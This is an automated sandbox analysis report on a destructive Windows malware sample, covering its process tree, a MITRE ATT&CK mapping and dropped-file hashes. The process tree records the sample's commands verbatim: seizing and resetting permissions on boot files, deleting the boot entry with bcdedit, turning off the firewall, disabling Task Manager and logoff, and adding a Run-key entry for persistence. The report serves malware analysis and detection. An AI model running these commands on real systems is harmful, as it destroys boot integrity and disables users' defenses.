        Views/modifies file attributes
        
        PID:10512
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10944
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:2368
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:5244
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:11256
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:7992
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:11520
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
        PID:11880
        
        C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:11912
        
        C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:13520
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:3968
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:15560
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:15684
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:16460
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:17340
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:15852
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13520
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:16216
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:17236
        
        C:\Windows\SysWOW64\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:16596
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:15840
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:18724
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:20240
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7812
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7820
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7888
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7996
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8A97.tmp\8A98.tmp\8A99.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        
        PID:5696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:9572
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:5924
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:10192
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:10524
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:11132
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Modifies file permissions
        
        PID:1656
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:10648
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:9652
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Possible privilege escalation attempt
        
        PID:9056
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        
        PID:12388
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:11348
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:13316
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:13336
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:13864
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:14312
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:14320
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:14328
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:11392
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:12936
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:5932
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:7260
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:3336
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:7836
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:7596
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:13208
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:11848
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:11872
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:6648
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8252
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:9052
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:9928
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D7FC.tmp\D7FD.tmp\D7FE.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:10468
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:10936
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:2600
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:10944
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:10672
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10512
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:3252
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:11472
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:12676
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Possible privilege escalation attempt
        
        PID:12468
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        
        PID:6776
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:12144
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:11312
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:9156
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:9020
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:11452
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:12856
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:12932
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:12544
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13812
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:11612
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:8544
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:8628
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13916
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13688
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:13888
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:15132
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:16104
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:18152
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1F22.tmp\20D8.tmp\20D9.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:20696
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:17872
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:4560
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:19056
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:19064
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1F14.tmp\1F13.tmp\1F24.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:20548
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:19076
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:15896
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:15636
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:6696
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1F12.tmp\1F13.tmp\20BA.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:20656
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:1552
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:18448
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:19084
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:18236
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\226E.tmp\226F.tmp\2270.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:20788
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:21376
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:21384
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:19256
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:4424
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:18188
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:3608
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2200.tmp\2201.tmp\2202.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:20776
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:19316
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:19332
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:19244
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:13188
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:19564
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:19336
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:10052
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:10056
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:10084
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:10092
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:1752
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11124
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:10304
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:10896
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:2796
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:8468
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\drivers" /r
        5⤵
        Possible privilege escalation attempt
        
        PID:2132
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5200
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5212
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5220
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5256
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5640
- - C:\Windows\system32\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5920
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:6028
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1824
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:5448
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2656
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Modifies file permissions
    PID:1000
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    PID:18532
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    - Views/modifies file attributes
    PID:20940

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004CC
1⤵
PID:3288

C:\Windows\system32\ipconfig.exe
ipconfig /release
1⤵
- Gathers network information
PID:2088

C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Calculator.exe
"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca
1⤵
PID:4924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:2932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe

Path C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
Size 112KB
SHA256 9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb
MD5 f7319798850cc35b840799eedb2eca0b
SHA1 447fe1137f62ea4511d4fc6768802fb885b82b8d
SHA512 6819e7eeefce4765a37af4f665ee073f09e359df19dc1224ecce9e5866a22adcf7f032f3a3a4cf6c0016522f110ad68025364226c4a7d66c58471c8fed486c45
SSDEEP 3072:C7DhdC6kzWypvaQ0FxyNTBf5M/rtX79awF:CBlkZvaF4NTBBM/xJawF
TLSH
T112B39F41F3E242F7EAF1053100A6622F9736A2349764A8EBC74C3D529903AD4A77D3F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 63B
SHA256 1db6458800616839e864831147cc6d91845825e365925151f649b5d998152273
MD5 4cb4efde0d2476b32d5a347a52df6c1b
SHA1 d2b3d042dfc64cc15b41b83b6f0252497a515e95
SHA512 1a676aec628275f5812bc99f7055713986579304df42328559b7a0adeb99601a2a680144a0f3b1685a0126c034cbf9f75ac89cb5cd1c8ca87f7e68824771ebce
TLSH
T198A002C94EA983438AE630100C10759055542AE45195055E190DC477B148145F8A5672
MD5 SHA1 SHA512 TLSH

Submit Download

Autorun.inf

Path C:\Users\Admin\AppData\Local\Temp\Autorun.inf
Size 74B
SHA256 12a5135510016abcfe1192aceb6fec42634346661d778d68be1debaa3d75e967
MD5 b39df423c6e5978065a9a8ec4879a3b4
SHA1 96441a7a7d8090f7a96a1160f539531f66568e88
SHA512 2d583fcae1ec73f836c5b66b8b1337bb4250a8230073de96d501a4fab5f522b75599ac2a1fcf1457a841d8c84bcccb88feade82f49357b28345c63d9526cfeb4
TLSH
T1A6A002281F0A3587B523519B1BC3357986E2B433AC5442B6083F8BC9051D645193E8FB
MD5 SHA1 SHA512 TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 14KB
SHA256 b9da7f848a953f0fcdd3430f97907c855eb22ca8336acb7f2b3c92551f9070ae
MD5 e9841c90b8efdfe12adb284675c29fed
SHA1 10f797135dcb84eee2aea29d4d0ad003bfa60152
SHA512 b63b7598aacd91d7798c9832a10815320a75d76dc550a79b0229e00d7fbddc4ac26f4b81afa5e459bf949b8a23c4036e5b8fe6078b9b66b90145f3985f94ef72
SSDEEP 192:EzXFz1dPRSbjGCrtsjpUaGLJXVpKWvtfj0Hr1TgZLxSayxldQ8PHC2XGNAwFtx4P:EJdAbrM21q0j0L1qEzdQ8PigfwTxX8j
TLSH
T1A962CEBDAA8B8BE64E215E86541D53415EC3F65B1023D391BF68503F388627CD34E4B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 594B
SHA256 84479b54b42b1a6f0c7f9acc37443ae2a68a5b8b1c739e8e1f71a4d08decc6da
MD5 005a4f3104d5ab9e8d1eaba36f98c5e2
SHA1 43d0da11c0b98bfe8e97a41adc2f5360034fc560
SHA512 479606424cdc2d3987c22c2c3ae5dc4b213fb1e32f32a235284509fac7165e12a4751c065567272870c4f88c457523e11336ade76cd2157268d06a19e91b9503
TLSH
T137F01276689A7EDE5F744C80C54CA3004C9CBB1B1325C296BF8C41AB5DD60B5AB68439
MD5 SHA1 SHA512 TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 1KB
SHA256 1cf538c0f12d0fa0107a7ad98ffae63b940b69dffe3edcd951a2eb6e72af9d37
MD5 332b1d1df9eae0f405747dcbc7921868
SHA1 aec76095512e6ca86e1fd607c32c30d200890f7e
SHA512 3b111ed8054ab8d4e6199c19e396dba2291a38658d012f3796bcae0c43437efc459951340d1566b8143da67345dd5ae08c1d2adf6a73fb40e5f326fe5e56d883
TLSH
T10B31A57DC44AFFD90F390991946DA3808C9ABD3FA75684866E4842B33C93570E6991B4
MD5 SHA1 SHA512 TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 6KB
SHA256 288d25f278c0616e886e466463f5ac8fe6744cba0e55450ea982b3ff7e3076b4
MD5 40f898530fbb6de324905d8958805863
SHA1 8d84890e881cefac1503cddb4aada43b197c3ecf
SHA512 dfd0c74bf24312f829825a3717c82f46c98bb9371681d4966ff75ef093337054af27132211fcc6a03100758206bd669d31a531c921e8d0e21b8d17ea453cf5ca
SSDEEP 96:R2mjT4ZXFz1dPb19OBbjmb7TBErt0jVjpUaXWhEiJ0rwnmKpLANiGo6uLVpKR0O:EzXFz1dPRSbjGCrtsjpUaGLJXVpKWO
TLSH
T1F3E19F7DE10A6FDB1F285AC2A89842469DC77547114BF1B92EAC823F28C2128A35D4B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

E93.bat

Path C:\Users\Admin\AppData\Local\Temp\E91.tmp\E92.tmp\E93.bat
Size 23KB
SHA256 f4381ce32da9cefe187c6c5f16afd266d65df265fa84aefaadabc170a0101bd8
MD5 0c22aea231dcfe15334b76c7dbb12af7
SHA1 2e5e4695770b9094fd5729eb38dd35c7f0923c90
SHA512 14e7f16f330da69c3e788d291386debe5ae546d5bd2145266abe58011bd2e26218acfb6ce3344739ff29e67f224b02fa90f1b14c63e4d9f28c50c0855ab6743a
SSDEEP 384:iOJWlo3yzLKRCPXPtTlcJdAbrM21q0j0L1qEzdQ8PigfwTxX8j2x:i8CPFTlcbAUAW17JQrgodXG2x
TLSH
T1F3B2F73B7BC5B6D28EF0162545DB3641FE66F93F14108D4F73A580F6A83E494B2282E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ErrorCritico.vbs

Path C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs
Size 57B
SHA256 ae3ab245b4001b487205480988a1aa775de104faf0e5d9c43dd3d1cf285196a1
MD5 5420b2137427b07b4d6a585ae3b69e08
SHA1 feb511d0b40064ab8a491caf699f5959bc9d4716
SHA512 2d5e64f315b8d72e7ff178042cb131baf0d982e74c09455911358ab3552e6e5919ac5f567b1cf31f91ad5613f2b91c5eff5e251e014c230490e4a323da7a7946
TLSH
T11A9002C91EA580478742B1000D0036A2199132F9166A521C150950B36194445DC406E5
MD5 SHA1 SHA512 TLSH

